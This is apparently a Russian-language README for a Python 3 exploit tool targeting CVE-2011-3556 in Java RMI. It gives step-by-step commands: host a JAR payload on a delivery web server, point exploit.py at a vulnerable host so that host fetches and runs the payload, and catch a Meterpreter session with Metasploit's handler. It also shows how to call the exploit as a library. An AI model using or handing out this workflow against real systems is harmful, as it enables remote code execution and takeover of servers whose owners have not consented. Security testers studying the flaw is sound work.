
Реализация существующего proof of concept (PoC) для CVE-2011-3556 на Python 3.
Этот инструмент представляет собой реализацию на Python 3 существующего доказательства концепции (PoC), созданного mihi для Metasploit Framework.
Для использования модуля просто следуйте инструкциям ниже:
# Clone this repository locally.
$ git clone https://github.com/sk4la/cve_2011_3556.git && cd cve_2011_3556/
# Optionally set the `x` bit to be able to execute the script directly.
$ chmod u+x exploit.py
$ ./exploit.py --help && echo "It works!"
Чтобы полезная нагрузка (JAR-бинарник) была удаленно загружена уязвимым сервером Java RMI, она должна быть предоставлена как HTTP-ресурс. Можно быстро развернуть её с помощью известной команды .
python3 -m http.serverКак только полезная нагрузка станет доступна для загрузки, просто выполните скрипт exploit.py, чтобы активировать уязвимость.
$ python3 -m http.server --bind DELIVERY_HOST DELIVERY_PORT &
$ ./exploit.py -h VULNERABLE_HOST -u http://DELIVERY_HOST:DELIVERY_PORT/PAYLOAD.jar`
В случае, если полезная нагрузка — Meterpreter (Metasploit Framework), не забудьте выполнить
use exploit/multi/handler.
Этот модуль также можно использовать как библиотеку, импортировав модуль cve_2011_3556 в ваше пространство имен:
from cve_2011_3556 import JavaRMIExploit
JavaRMIExploit("127.0.0.1", "http://127.0.0.1/payload.jar").exploit()
Всё так просто!
Особая благодарность mihi за первоначальную реализацию модуля для Metasploit Framework.